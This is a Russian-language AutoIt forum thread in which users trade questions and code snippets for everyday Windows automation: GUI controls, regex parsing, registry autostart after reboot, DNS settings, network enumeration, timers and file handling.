Нужна твоя помощь :) Необходимо получить список компьютеров локальной сети, в принципе решение есть (твой скрипт для Nicklock-a), но из "спортивного" интереса хотелось бы получить список с помощью нижеуказанных функций: Код:
Global Const $RESOURCE_CONTEXT = 0x5 WNetOpenEnum WNetEnumResource |
Maza Faka
примерно так, но функция сама не ищет во вложенных контейнерах, в твоем случае она возвратит только объект "Вся сеть" ;) Код:
Global Const $NO_ERROR = 0 |
amel27
Спасибо за пример. А поиск во вложенных контейнерах сложная задача? |
Информация к размышлению. Сам только что случайно увидел.
При копировании файла с одного диска на другой время последнего изменения у нового файла увеличивается на 1 секунду. Это происходит и при копировании в эксплорере, и в автоите функцией FileCopy. Можно этого как-нибудь избежать (кроме варианта с FileSetTime, менять время у кучи файлов непонтово)? |
Mogidin
Вроде бы уже обсуждали такую проблему, поищи в версии для печати. |
Есть ли возможность принудительно завершить скрипт через какое-то время, если не были приняты никакие действия?
Сейчас я делаю это через задницу. У меня есть два скрипта один из которых запускает второй и через 20 секунд прибивает его. Но хочется сделать одним скриптом и покрасивее. С прогрессбаром. Вот код скрипта Код:
GuiCreate("Переименование учетной записи администратора", 300, 100) |
Понадобилась снова помощь по регулярным выражениям...
Имеем исходный код страницы (это только часть, оно повторяется по той же структуре далее): Нужно получить значения в массив либо между <div class="vldesc"> и </div>, либо между <div class="vldesc"><span id="BeginvidDesc.*?"> и </span>. Оно может встречаться и так и так, нужно получить текст описании роликов (это с YouTube исходник). Вот что должно быть на выходе: Код:
$avArray[0] = "WTTC <b>2008 table tennis</b> best points.... enjoy <b>...</b> WTTC <b>2008 table tennis</b> best points extreme ma lin <b>...</b>" Код:
#include <Array.au3> Алексей Н., Цитата:
|
Creat0R
Цитата:
Код:
$sSource = FileRead("test.txt") Цитата:
|
amel27,
Цитата:
Цитата:
Ответ на последеий мой вопрос предоставляет объяснение и на первый вопрос :) Цитата:
|
В windowinfo есть инструмент finder tool: наводим его на объект и получаем информацию о нем. Хочу написать что-то подобное для получения только некоторой необходимой информации и сбрасывать ее в файл, осталось только разобраться как получать инфо об объекте под курсором...
|
Привет всем. У меня вопрос по autoit. Вопрос вроде легкий, а решить уже 2 дня не могу. И в связи что легкий нигде нет ответа, а по совету из справки у меня получается каламбур. Подскажите знающие. Мне нужен скрипт, который бы проверял дату на компе с моей введенной (например 08/08/2008) и если совпадает, то запуск "моей программы", а если нет то выход. Спасибо. :help
|
266903582,
Цитата:
Код:
#include <GuiConstants.au3> Цитата:
Код:
$sSystemDate = @MDAY & "/" & @MON & "/" & @YEAR |
Спасибо, Creat0R за ответ. Мой вопрос решен.
|
Creat0R, спасибо.
Я тоже без дела не сидел :) небольшой концептик получился, по свободняку расширю его твоим примером: Код:
#include <Misc.au3> |
Maza Faka
Цитата:
Цитата:
_WinNet_OpenEnum() _WinNet_CloseEnum() _WinNet_EnumResource() но мне они показались неудобными в применении, посуди сам: - значения флагов не совпадают со значениями системных констант; - нет функций по обработке структур NETRESOURCE; - излишняя (ИМХО) перегруженность функций параметрами ByRef поэтому, поскольку уже зацепился на днях выложу свой вариант UDF ALL может кто еще выскажется по функциям из группы _WinNet_* ? |
amel27
Цитата:
Цитата:
|
Тут у меня спросили скрипт определения пути, куда установилась программа. У кого нибудь уже есть решение?!
|
NikLok,
Цитата:
|
Вот такой вопрос: хочу вставить условие в условие, примерно вот так:
if (MsgBox(4100, "Внимание", "Окно выбора")) = 6 Then $sSystemDate = @MDAY & "/" & @MON If $sSystemDate = "08/07" Then SplashTextOn("Поздравляю!", "Мой текст!", 800, 350, -1, -1, 4, "", 25) Sleep(1000) SplashOff() Exit Else EXIT ENdif Тоесть если в первом окне ответить ДА, то началось второе условие, а если нет, то выход вобще. Но при моей раскладке требует ENdif, но я же не могу вставить ENdif ибо второе условие выполнятся не будет. Помогите советом. |
beve,
Цитата:
Цитата:
Код:
;Первый вариант, всё находится в условии, <если нажата кнопка "Да">. |
amel27,
Не подскажешь ещё такой момент в RegExp... Мне нужно заменить число в имени файла, тоже на число, на единицу больше, но при этом нужно оставить все остальные значения, т.е я просто решил что на каждый нужный мне кусок с имени файла будет назначена группа, а в параметре Replace она будет Использоваться, и между группами я просто подставляю нужное число, но получается что оно как бы добавляет к значению группы :wacko: Код:
$Num = "2" P.S Без групп почему то не получается... |
Creat0R,
Цитата:
каждая программа хранит свои данные об установке в разных ключах реестра, потому универсальный скрипт вряд ли прокатит! Скорее всего придется знать ветку для каждой программы! Код:
$var = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Adobe\Acrobat Reader\8.0\Installer", "Path") Есть более актуальный вопрос!!! Как определить ставлюсь я на виртуальной машине или на реальной! Я использую VMWare, и пока думаю делать это проверкой наличия их видеоадаптера с VEN_15AD&DEV_0405 Как обстоят дела под другими виртуалками и каие есть готовые скрипты у кого нибудь. Связано это с тем, что например программы работающие со SMART таблицами дисков под VMWare ставить пока вроде смысла нет, так как не эмулируются и выдаются всякие нештатные сообщения. (6.0.0 b45731) |
поправьте ссылку в шапке
Цитата:
|
Creat0R
Цитата:
могу предложить обходной вариант =) Код:
$Num = "2" |
amel27,
Цитата:
Цитата:
Я ещё так придумал: Код:
$iFind_Num = 1 Мне просто известны заранее разделители, а вот цифра которую нужно найти и заменить может всё время меняться, а может и вовсе не существовать (просто FileName.txt). P.S Это я доделываю функцию _FileNewNameEx(), чтобы не получилось имён с лишними добавками (типа "FileName (1)(1).txt"). Позже выложу... |
Ситуация:
В системе два пользователя, админ и просто юзер. Есть программа, которая может запускаться только с админскими правами. Программа в процессе работы должна брать файлы с сетевого диска. Что я сделал: Залогинился под админом, сделал автомонтирование сетевого диска. Всё отлично работает, при каждом входе под админом автоподключается сетевой диск. Скомпилировал скриптик запуска этой проги с правами админа: RunAsWait("Администратор", "org.local", "пароль", 4, "прога с полным путём"). Проблема: Когда из под юзера запускаю эту прогу, что через скрипт, что через "Запуск от имени администратора" - программа не видит сетевой диск, лезу через Open file, а сетевой диск перечеркнут. Вопрос: Так и должно быть, что из под RunAs винда (vista) не автомантирует сетевой диск? Как можно с помощью скрипта подмонтировать его? И как потом размонтировать, если это необходимо? |
Creat0R
Цитата:
Цитата:
Цитата:
|
|
Вложений: 1
amel27
Помоги пожалуйста, пытаюсь создать zip-архив: Код:
$hDLL = DllOpen("zip32.dll") |
Maza Faka,
На оф. форуме много раз приводили примеры, вот например: Zip plugin. |
Creat0R
Знаю, скачал недавно, распаковал архив, а там каша из файлов и директорий, непонятно, что куда "втыкать", примеров нет, можно конечно разобраться, но попробовал запустить и получив вот такое окно ![]() от дальнейшего "ковыряния" отказался :) amel27 Вопрос снимается (временно?) С основными функциями разобрался, есть конечно пара проблемных параметров, попробую разобраться сам, если не получиться придётся тебя побеспокоить :) |
autoit
привет!
учусь работать с autoit. возник вопрос. вот код: Run("C:\WINDOWS\system32\cmd.exe /k chcp 866 && set PGPORT=5432") WinActivate("C:\WINDOWS\system32\cmd.exe") Send("pg_dumpall -U postgres -f atest2.dump") Send("{ENTER}") Send("irishka") Send("{ENTER}") Send("psql -U postgres < atest2.dunp") Send("{ENTER}") после запуска получаю ошибку, обьясните что не правильно и как решить проблему! вот ошибка : Текущая кодовая страница: 866 C:\Program Files\PostgreSQL\8.2\bin>_dumpall -U postgres -f atest2.dump "_dumpall" не является внутренней или внешней командой, исполняемой программой или пакетным файлом. C:\Program Files\PostgreSQL\8.2\bin>irishka "irishka" не является внутренней или внешней командой, исполняемой программой или пакетным файлом. C:\Program Files\PostgreSQL\8.2\bin>psql -U postgres < atest2.dunp Не удается найти указанный файл. C:\Program Files\PostgreSQL\8.2\bin> заранее спасибо! |
все разобралась, это был глюк!
C:\Program Files\PostgreSQL\8.2\bin>_dumpall -U postgres -f atest2.dump "_dumpall" не является внутренней или внешней командой, исполняемой программой или пакетным файлом простоне отображал первые два символа, поставила парочку пробелов и все пашет!!! |
Кок создат форму с двумя кнопками а на кнопках функции запуска установки, например (Setup.exe).
|
AlexNeo,
Цитата:
Код:
#include <GuiConstantsEx.au3> |
Здравствуйте! а не подскажет ли кто, как обратиться к фтп и считать с него файлы для последующей записи на другой сервер?
$oIE = _IECreate () _IENavigate ($oIE, "ftp://ё.ёёё.ёё.ёё") -это в принципе иногда срабатывает, но меня интересует что-то вроде UDF, как ExcelCOM_UDF.au3, чтобы можно было папку с файлами на фтп обработать как объект, определить имена файлов, даты и т.д, списком. Нарыла FTP.au3 - не то по-моему( он только несколько команд выполняет - удалить, апгрейдить и сконнектить( Перерыла архивы форума тоже к сожалению ничего не нашла( Буду благодарна за любой совет. |
Creat0R, Спасибо.
|
SvetlanaK
Цитата:
|
amel27, ага...поняла. Спасибо Вам большое!
|
Ответьте пожалуйста на мои возникшие вопросы:
1. Как из строки C:\Program Files\1123\dfgfdfgdg.exe с помощью скрипта скопировать dfgfdfgdg.exe? (имеется ввиду что dfgfdfgdg.exe будет каждый раз разное:) ) 2. Можно ли при помощи Autoit генерировать другие ехе приложения? Мне нужно, чтобы после указания нужного файла создался новый exe файл который будет использовать заранее указанные настройки. |
leprecon
1. Код:
$string = "C:\Program Files\1123\dfgfdfgdg.exe" Код:
$hFileOpen = FileOpen(@TempDir & "\tmp.au3", 2) |
Подскажите, в чем тут ошибка?
$var = FileOpenDialog("Выберите файл с игрой", @ProgramFilesDir & "\", "Exe file (*.exe)", 1 ) GUICtrlSetData(10,$var, "") $trimright = StringRegExpReplace($var, "^.*\\", "") $result = StringTrimRight( $trimright, 4 ) GUICtrlSetData(3,$result, "" ) IniWrite( "reflexive.ini", "STROKA", "file", $result ) IniWrite( "reflexive.ini", "Directory", "File", $var ) Теоретически, после запуска и выбора нужного файла, в папке со скриптом должен создоваться INI файл который содержит путь к ранее указаному файлу. Но на практике такой файл не создается... :( Я пробЫвал просто прописывать числа в INI файл через переменные: $stroka1 = InputBox( "Строка 1", "Строка первая" ) $stroka2 = InputBox( "Строка 2", "Строка вторая" ) IniWrite( "reflexive.ini", "STROKA", "File", $stroka1 ) IniWrite( "reflexive.ini", "Directory", "File", $stroka2 ) Такой способ срабатывает, да и вообще во всех остальных случаях IniWrite работает нормально... Цитата:
|
leprecon,
Цитата:
Поэтому указывать нужно полный путь (это касается всех случаях когда используются относительные пути): Код:
IniWrite(@ScriptDir & "\reflexive.ini", "STROKA", "File", $stroka1) Цитата:
Код:
Run(@AutoItExe & ' /AutoIt3ExecuteScript "' & @TempDir & '\tmp.au3"') |
Цитата:
|
Maza Faka,
Цитата:
Строка что я привёл, будет работать даже при отсутствии установленного аутоита в системе, сам скомпилированный скрипт работает как интерпритатор AutoIt-кода/скрипта. |
Creat0R
Я имел в виду, если доп. скрипт, созданный главным скриптом (программой) будет запускаться не из главного скрипта его создавшего, а скажем спустя некоторое время :) |
Maza Faka,
Цитата:
Есть ещё вариант... * Берём бесплатный (ещё и с открытым кодом) 7zip (его консольную версию). * Берём пустой скомпилированный скрипт (будет в качестве интерпритатора). - Компиллируем это всё (с испол. FileInstall()) в нужный нам скрипт. - А в момент необходимости создать отдельный exe'шник, пишем нужный нам код во временный файл (например Au3Script.plg), запускаем 7zip с параметрами на создание SFX-архива в который поместить наш файл с кодом, плюс наш пустой скомпилированный скрипт, а как параметр при запуске после распаковки указать файл с кодом (типа «Interpritator.exe Au3Script.plg»). Ну или вместо пустого скрипта копировать сам родительский скрипт, т.е паковать его самого как интерпритатор. Вот такой вот извращённый метод :biggrin: Но должно получиться :beta: . |
Creat0R
Цитата:
|
Вложений: 1
Всем привет.
У меня вот возник вопрос, можно распознать защитную картинку и получить код который на ней написан? вот, к примеру картинка: Или это нереальная задача? спасибо |
Привет
У мня вопрос как сделать подсчет строчек до определенного символа "?" пример: ? 1 строчка 2 строчка 3 строчка ? (здесь останавливается и выводит сообщение здесь 3 строчки) далее 1 строчка 2 строчка 3 строчка 4 строчка ? (здесь останавливается и выводит сообщение а здесь 4 строчки) 1 строчка 2 строчка 3 строчка 4 строчка 5 строчка 6 строчка ? (здесь останавливается и выводит сообщение а здесь 6 строчки) и.т.д |
Drsmog,
Можно так: Код:
#include <file.au3> |
HORRIBLE,
Цитата:
Drsmog, Цитата:
Код:
$hFileOpen = FileOpen("File.txt", 0) |
Creat0R,
а что такое OCR??? спасибо за направление) |
HORRIBLE,
Цитата:
Оптическое распознавание символов |
Creat0R
Цитата:
|
Еще вариант - с точки зрения блоков текста, оптимизирован по скорости чтения файла:
З.Ы. обойтись без RegExp стоило усилий :) Код:
$sFile = "C:\File.Txt" |
как в созданное GUI поместить картинку находящююся в интернете, к примеру по адресу (http://forum.oszone.net/attachment.p...4&d=1216804832) ?
|
HORRIBLE
Цитата:
|
У меня есть один наболевший вопрос. как можно сделать так, чтобы изменился размер таскбара с одной в 2 строки причем квикланч был сверху, а открытые приложения снизу?
|
Помогите пожалуста!!!
Мне надо использовать несколько готовых заготовк написаных на VBS. По вот этому примеру получилось: Код:
Код:
D:\auto_it\office.au3 (48) : ==> The requested action with this object has failed.: |
DImaN!,
Цитата:
TimAlex, Цитата:
- строковая переменная всегда =0 (смотри закомментированную строку); - имя функции в "$VbsObj.Run" должно быть без пробелов Код:
$oWshShell = ObjCreate("WScript.Shell") |
Извеняюсь за непонятную постановку моей проблемы. Я имел в виду каким образ можно сделать так, чтобы панели QuickLaunch и AppBar размещались не как на этом скриншоте:
![]() а как на следующем: ![]() если учесть то, что изначально TaskBar отображается только в одну строку и без QuickLainch-а |
DImaN!
вот блин, не знал что так можно... :) AFAIK программно это не реализовать, так можно менять только "Закрепление" и AutoHide, остальное придется автоматизацией кликов и перетаскиваний, тут основная проблема - определение актуальных координат... Если универсальность не требуется (первоначальные настройки всегда одинаковые), то все просто. Вот скрипт, который я сгенерил в AU3Record из комплекта AutoIT и слегка подредактировал: Код:
Opt("WinWaitDelay",100) |
amel27, Спасибо огромное! Я немного подкорректировал и получилось именно то, что мне нужно. Только вот можете подсказать, где можно скачать саму тулу AU3Record, потому что у меня при инсталле самого AutoIT3 данного приложения в комплекте не было...
|
|
Можете подсказать, возможно ли при помощт AutoIt реализовать сохранение выполненных действий в отдельный файл. Т.е. просто пример: написан скрипт, в котором открывается программа и выполняются определенные действия с контролами (клики по контролам, открытия комбо-боксов, ввод текста и т.п.). Нужно чтобы все эти действия сохранялись в отдельный txt (log) файл в виде "действие - контрол"...
|
DImaN!
Цитата:
|
Сама программа - нет, скрипт по эмуляции работы человека - на AutoIT
|
DImaN!
Непонятен смысл такого "логирования". Ведь все действия и так будут описаны в скрипте :) Смотри функции FileWrite(); FileWriteLine() |
Здраствуйте , уважаемые програмисты , подскажите как можно средствами AutoIT определить что программа зависла ? Нужно типо if <прога зависла> do ...
|
По вопросу записи действий пользователя могу подкинуть примерчик. Писал для личного пользования, упрощал создание автоустановщика программ.
Код:
#include <Misc.au3> Хотя скрипт до ума так и не доведен, но пользоваться можно. |
Подскажите, можно ли средставми AutoIt изменять резрешения к определенному разделу реестра ?
|
Babullika
Цитата:
Код:
$hWnd = WinGetHandle("Документ1 - Microsoft Word") |
2 Maza Faka СПАСИБО огомное !
Щас появилась ещё одна проблемма , делаю ProcessClose на прогу у которой есть иконка в трее и иконка непропадает пока на неё не наведёшь мышкой , можно как-нибудь сделать чтоб она сразу пропадала ? |
Babullika
SystemTray_Refresh |
Подскажите пожалйста примерчик следующего скрипта: скрипт проверяет соединение с интернетом, если таковое отсутствует то подключает подключение по умолчанию. Буду премного благодарен!!!
|
Хочу поделиться закомпиленным скриптом, взятым в FAQ-е по автоустановке, подредактированного мной, для авторебута компьютера, после первого логона в систему:
|
Народ помогите
есть задачка: нужно узнать какие основной dns и альтернативный dns использует пользователь и если они не правильные то поменять их на правильные. пример: основной dns: 192.168.0.1 альтернативный dns: 192.168.0.2 надо поменять на основной dns: 192.168.0.254 альтернативный dns: 192.168.0.253 при этом надо учитывать что само соединение может называться по разному: Local Area Connection или Local Area Connection2 .... Local Area Connection10 или Подключение по локальной сети ..... Подключение по локальной сети3 ... |
Wu-Tang
ОФФТОП: эта тема для обсуждения открытого кода, а не "закрытых" приложений BrAWo Цитата:
Код:
Dim $aDNSList[2]=["192.168.0.1","192.168.0.2"] |
Positiv
Цитата:
|
Maza Faka, нет, подключени высокоскоростное(DSL). А разве это важно. Подключение в точности такое же как и у диалапа.
|
Positiv
Цитата:
Код:
Global Const $INTERNET_CONNECTION_MODEM = 0x1 Цитата:
|
Maza Faka, при отключенном соединении выдает в одном окне следующее: LAN connection, Proxy connection, RAS installed, Connection configured.
При подключенном же: Modem connection, RAS installed, Connection configured. А дозвон так же как и на диалапе, в окне вводишь имя и пароль и жмешь кнопочку подключение. |
Цитата:
можно еще небольшой вопрос: если указано: основной dns: 192.168.0.1 альтернативный dns: 192.168.0.2 а нужно оставить только: основной dns: 192.168.0.1 |
Positiv
Попробуй так: Код:
If _GetConnectState() = 1 Then Exit |
BrAWo
Цитата:
Код:
Dim $aDNSList[1]=["192.168.0.1"] |
Подскажите, как отправить Alt+<русская буква> в какое-нибудь приложение? Например Alt+Ф в блокнот.
Перепробовал кучу вариантов, в том числе: Send(!Ф) Send({ALT}ф) Send({ALT}{ф}) и т.п. Ничего не работает. Приходится иметь дело с русскими менюшками, лучшего способа, чем посылать шорткаты, нет. Autoit юзается как activex из ruby, возможностей заюзать "дополнительные" функции нет. Вопрос проскакивал в топике, но ответа не было. Если кто знает решение - напишите пожалуйста. |
Народ ! Помогите плз с проблемкой.
Как можно отключить сетевую карту @IPAddress1 и потом включить:? trash1, тут уже нужно использовать переключение языка на руский, вот тебе примерчик Создаёшь текстовый документ с именем Текстовый документ, открываешь и запускаешь вышеуказанный скриптик... Если у тебя по умолчанию будет английский язык стоять, то напечатается слово ajnj, а если же русский-напечатается слово фото. |
trash1
Смотри последний вопрос-ответ в FAQ-е |
Добрый день, подскажите пожалуйста как сделать так, чтобы данный скрипт работал в неактивном окне. Т.е. при сворачивании в трей он продолжал там работать.
Код:
WinWaitActive("Program") |
OneGo
Если я правильно понял: используй функцию ControlSend(). |
Здравствуйте! Скажите ктонибудь плиз как в Auoit можно зделать следующее:
Есть текстовый документ в котором есть куча цифр два и три, как заменить все цифры два на цифру пять? Чёт не могу понять как. И ещё странно почемуто нельзя открыть текстовый файл одновременно для чтения и записи. Помогите..... |
morgan1991
Попробуй так: Код:
$Read = FileRead("c:\test.txt") |
Maza Faka, Спс понял. Помогли.
|
Возможно ли отследить когда процесс закончит обрабатываться процессором (загрузка проца до 98%) и как только он успакоится (загрузка проца этим процессом = 0 % ) то вывести на экран сообщение к примеру, при условии что этот процесс должен всё время работать:команда ProcessWaitClose не подойдёт !?
|
TERMINAL
Как узнать процент использования процессора определённым процессом. Способ 1 (Средствами WMI): Код:
$strComputer = "." |
Скажите ктонить, а как мне установить пароль на декомпиляцию скрипта у меня нет поля для ввода пароля и командой Aut2exe.exe /in <infile.au3> [/out <outfile.exe>] [/icon <iconfile.ico>] [/nodecompile] [/comp 0-4] [/pass <passphrase>]
не компилируется версия autoit 3.2.8.1? И ещё какой командой перезагружается компьютер? |
morgan1991
Декомпиляция поддерживается начиная с версии 3.2.5.1 и раньше, соответственно параметр [/pass <passphrase>] также актуален только для вышеуказанных версий. Цитата:
Код:
|
спс а получается в версии 3.2.8.1 нет декомпиляции совсем? или только пароль нельзя ставить? А как просто включить возможность декомпиляции?
|
Цитата:
|
спс эх.....
|
Сори последний вопрос:
Когда я вставляю такой код в скрипт: Цитата:
То команда Send($input0 & "\ccccxxxx") введёт в поле ввода вот это: M:\Ïðîãè\ccccxxxx Как это исправить помогите плиз? Надо срочно. |
morgan1991
Используй функцию ControlSetText() |
спс всё норм. И откуда вы всё знаете..?!?...))
|
Вопрос таков:
имеется кнопка в ПО, при наведении мыши на ёё появляется дополнительный текст(типа подсказки) так вот, как можно считать этот текс. Просто в нем есть изменяющейся параметр который мне очень нужен. |
morgan1991
Цитата:
|
Вот ещё вопросик нагрянул:
Как удалить в трее когда нажимаешь на значёк скрипта меню Script Paused? |
morgan1991, либо так
;предотвращение возможности множественного запуска скрипта If WinExists(@ScriptName) Then Exit AutoItWinSetTitle(@ScriptName) ;скрыть в системной панели индикатор AutoIt AutoItSetOption("TrayIconHide", 1) ;Отображать текущую строку сценария с помощью индикатора системной панели в режиме отладки. AutoItSetOption("TrayIconDebug", 1) AutoItSetOption("SendKeyDelay", 10) либо так ;Включить или отключить возможность прерывания выполнения скрипта пользователем, используя индикатор системной панели. Break(0) |
morgan1991
Код:
Opt("TrayAutoPause", 0) |
Нет я имел ввиду просто удалить одну кнопку оставить только exit и потом добавить свои кнопки.
А вот ещё вопросик: Можно ли заменить команду FileWrite на другую которая работает также, просто у меня такая проблема: написал скрипт который считывает данные с конфига .ini и записывает их в документ с расширением .wtf всё работает, но когда в конфиге указаны данные например forum.oszone.ru, то всё тоже работает, а если я пишу туда wow.karelia.ru то он записывает их так: 卥琠牥慬浬楳琠睯眮歡牥汩愮牵 квадратиками Может кто знает что это такое?? |
Цитата:
Цитата:
|
Vadikan, ссылка Русская справка в шапке недействительна.
|
$input_tab3_0 = GUICtrlCreateInput("", "","","","","")
..................... $input_tab3_20 = GUICtrlCreateInput("", "","","","","") можно ли заменить такое перечисление всех инпутов, GUICtrlSetData($input_tab3_0,"1") ......................... GUICtrlSetData($input_tab3_20,"1") на какой нить цикл, т.к. просто неудобно одно и тоже писать по нескольку раз. спасибо. |
HORRIBLE
Создай массив с нужным кол-вом control-ов. |
Помогите плиз как посчитать синус числа:
2 градуса 32 минуты 15 секунд??? непонимаю как присвоить переменной градусы минуты секунды. |
2 + 32/60 + 15/3600
|
Помогите срочно надо.
Вот скрипт: Цитата:
Тоесть не правильно высчитывает синус числа. Может както можно посчитать синус подругому??? |
morgan1991
Код:
#include <Math.au3> |
спс всё клёва просто афигенно помогли.
|
Как сделать секундомер, только чтоб он показывал не секунды, а милисекунды?? без разницы, что цифры будут быстро обновляться и их будет почти не видно, просто как это сделать?
|
HORRIBLE
Как именно должен выглядеть таймер? Так: чч:мм:сс:мм? Или просто миллисекунды? |
Maza Faka,
Ай, забыл указать это. Вот так: cc:мм |
HORRIBLE
В общем вот быстрый и грубый пример, как реализовать счётчик миллисекунд, но учитывая, что AutoIt - скриптовый язык (а значит работает медленно), немного поигравшись со значениями, примерно подсчитал, что 60 вызовов функции _TimerProc() примерно равны 1 секунде. :) В принципе в сети есть примеры, но они для таких языков, как: C, C++, Delfi. Короче пробуй! ;) Код:
#include <Date.au3> |
Maza Faka,
Цитата:
Код:
#include <Date.au3> |
|
MaxxQ,
Цитата:
|
Цитата:
|
Creat0R
Цитата:
Кстати, ты куда пропал? Очень редко появляешься... |
Цитата:
|
Maza Faka,
Цитата:
![]() Babullika, Цитата:
|
Creat0R
Цитата:
|
Цитата:
Также скрипт можно допустим обрабатывать пакерами/крипторами/обфускаторами с целью затруднения анализа... сам незанимался , в теории ) |
Цитата:
|
[AutoIT] при автоустановке перезагружается компьютер
Уважаемые программисты, что нужно делать если при установки программы она требует обязательной перезагрузки, как сделать так чтобы скрипт продолжил выполняться после перезагрузки, заранее спасибо...Извиняюсь если повторил тему..но найти не смог...
|
Думаю можно сделать так: пускай скрипт прямо перед перезагрузкой скопирует в папку условную какойнибудь файлик и пропишет себя в автозагрузку в реестре а после перезагрузки скрипт проверит наличие этого файла если он есть то скрипт его удалит и продолжит работу с указанного места.
Наверно примитивный способ, но я не специалист. |
Есть вариант чуть-чуть проще.
Прописать в автозапуск с параметром. При запуске проверятся, с каким(и) параметром(и) был вызван скрипт. |
в автозапуск я тоже решил нужно, а с параметром это как?
|
трудт
- если для автозапуска использовать ключ реестра "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx", то после перезагрузки (сразу после логона) система сама запустит прогу и удалит этот параметр из реестра; - пример определения типа запуска скрипта (с параметром или без): Код:
If $CmdLine[0] Then |
я новичок в этом деле и пока недружу с регистром, можешь подробнее написать как к нему обратиться, самы суть я понял
|
трудт
Смотри функцию RegWrite() |
Народ хелп! я толька начал писать на AutoIT, нужна помощь.
Как сделать так чтобы после таго как я создал GUICtrlCreateButon(...) задать этой кнопки некие параметры. Я пробЫвал так: GuiCtrlCreate(...) ;Создал окно $Knopka = GUICtrlCreateButon(...) ;Создал кнопку GUISetState(@SW_Show) $NewWindow = GuiCtrlCreate(...) ;Это окно должно появить после таго как я нажал на кнопку ....... ....... $GUISetState(@SW_Show) while 1 local $msg $msg = GuiGetMsg() if $msg = $Knopka Then $NewWindow Endif Wend После того как я нажимаю на кнопку ни чего не происходит. Что я делаю не так? И ещё вопросик. После того как я создал элемент GUICtrlCreateInput(...), мне нужно чтоб юзер ввёл в элемент Инпут какое то значение и чтоб программа могла использовать это эначение (т.е как считать, то что ввёл юзер. Это что то подобное функции Scanf() в Cи) Сори, что не раскрасил и не привёл в норм вид текст... пишу на работе, нет возможности. |
ganselo
1. Код:
#include <GuiConstantsEx.au3> Смотри в справке функцию GuiCtrlRead() Цитата:
|
Цитата:
|
ещё вопросик. Есть функция:
Код:
Func ProcessControl() Как сделать так чтобы после нажатия ещё одной кнопки "STOP", функция ProcessControl() заканчивала своё действие? |
Начал 2 дня назад изучать автоит, все шло нормально, пока не решил сделать для программы оболочку... В общем такая проблема, не могу сделать так, что бы после нажатия кнопки "Старт" продолжалось выполнение скрипта по заданным в оболочке параметрам. Функцию кнопки "Старт" я оставил пустую, просто не знаю что туда записать. можно ли что-то сделать? Или придется весь скрипт переделать? До этого времени на оф сайте автоита искал нужную мне информацию, но сегодня он что-то не грузится,так что надеюсь на вашу помощь! Добавлю, что я не программист вообще, автоит это мой первый опыт, не судите строго :)
#include <GUIConstants.au3> #include <Misc.au3> #include <Fade.au3> Opt("GUIOnEventMode", 1) GUICreate("Test", 250, 200, 1024, 0) GUISetBkColor(0xFFFFFF) GUISetOnEvent($GUI_EVENT_CLOSE, "SpecialEvents") GUISetOnEvent($GUI_EVENT_MINIMIZE, "SpecialEvents") GUISetOnEvent($GUI_EVENT_RESTORE, "SpecialEvents") GUISetState(@SW_SHOW) $tab=GUICtrlCreateTab (10,10, 230,180) $tab2=GUICtrlCreateTabitem ("3") GUICtrlCreateLabel ("3", 30,53,130,20) $tab2combo=GUICtrlCreateCombo ("", 170,50,60,40) GUICtrlSetData(-1,"40|30|20", "30") ; default 80% $tab1=GUICtrlCreateTabitem ( "2") GUICtrlCreateLabel ("2", 30,53,130,20) $tab1combo=GUICtrlCreateCombo ("", 170,50,60,40) GUICtrlSetData(-1,"70|80|90", "90") ; default 80% $MHP=GUICtrlRead($tab1combo) $tab0=GUICtrlCreateTabitem ("1") GUICtrlSetState(-1,$GUI_SHOW) ; will be display first GUICtrlCreateLabel ("X", 30,53,50,20) GUICtrlCreateLabel ("Y", 30,103,50,20) $tab0Start=GUICtrlCreateButton ("Save and Start", 10,150,115,20) GUICtrlSetOnEvent(-1, "OKPressed") $tab0Exit=GUICtrlCreateButton ("Exit", 125,150,115,20) GUICtrlSetOnEvent(-1, "CancelPressed") $tab01input=GUICtrlCreateInput ("X", 80,50,90,20) $tab02input=GUICtrlCreateInput ("Y", 80,100,90,20) GUICtrlCreateTabitem ("") ; end tabitem definition GUISetState () $Acc = IniRead(@MyDocumentsDir & "\test.ini", "Enter", "X", "") GUICtrlSetData($tab01input, $Acc) $Pass = IniRead(@MyDocumentsDir & "\test.ini", "Enter", "Y", "") GUICtrlSetData($tab02input, $Pass) Func Write() iniWrite(@MyDocumentsDir & "\test.ini", "Enter", "X", GUICtrlRead($tab01input)) IniWrite(@MyDocumentsDir & "\test.ini", "Enter", "Y", GUICtrlRead($tab02input)) $MHP=GUICtrlRead($tab1combo) Select Case $MHP= "70" iniWrite(@MyDocumentsDir & "\test.ini", "Pup", "HP", "70") Case $MHP= "80" iniWrite(@MyDocumentsDir & "\test.ini", "Pup", "HP", "80") Case $MHP= "90" iniWrite(@MyDocumentsDir & "\test.ini", "Pup", "HP", "90") EndSelect $MHPex=GUICtrlRead($tab2combo) Select Case $MHPex= "20" iniWrite(@MyDocumentsDir & "\test.ini", "Pup", "HPex", "20") Case $MHPex= "30" iniWrite(@MyDocumentsDir & "\test.ini", "Pup", "HPex", "30") Case $MHPex= "40" iniWrite(@MyDocumentsDir & "\test.ini", "Pup", "HPex", "40") EndSelect EndFunc While 1 Write() Wend Func OKPressed() ; ВОТ СЮДА ЧТО ПИСАТЬ, ЧТО БЫ ЦИКЛ ПРЕРВАТЬ И ПРОДЛЖИТЬ ГРУЗИТЬ СКРАИПТ? EndFunc Func CancelPressed() Exit EndFunc Func SpecialEvents() Select Case @GUI_CTRLID = $GUI_EVENT_CLOSE Exit Case @GUI_CTRLID = $GUI_EVENT_MINIMIZE Case @GUI_CTRLID = $GUI_EVENT_RESTORE EndSelect EndFunc |
Цитата:
Код:
#include <GuiConstants.au3> |
ganselo
Объявляем глобальную переменную и при нажатии на кнопку стоп присваиваем ей какое нибудь значение. В цикле функции ProcessControl() проверяем значение этой переменной и, если оно соответствует нужному нам значению, выходим из функции Код:
Global $Stop = False |
Иск,
Во-первых это очень и очень не практично в цикле вот так записывать интенсивно в ини-файл, если очеь нужно, то делать это хотябы раз в несколько (десятков) секунд. По поводу прерывания цикла. Это можно сделать простой проверкой переменной, присваивать ей значение при запуске фуннкции: Код:
#include <GUIConstants.au3> |
Я же говорю, 2 дня как разбираюсь с этим. Все приходит с опытом, а пока метлой пытаюсь рисовать пейзажи, образно выражаясь :) Спасибо за помощь!
|
Creat0R
Цитата:
Я для себя эту проблему решил отлавливая сообщение $WM_COMMAND, очень удобно и быстро при плотных циклах :) |
Цитата:
Есть какой-нибудь способ именно прервать выполнение цикла на запись кнопкой "старт" и перейти на основной скрипт? |
Что не так?:
Код:
|
Цитата:
Цитата:
Цитата:
См. мой пример ;). |
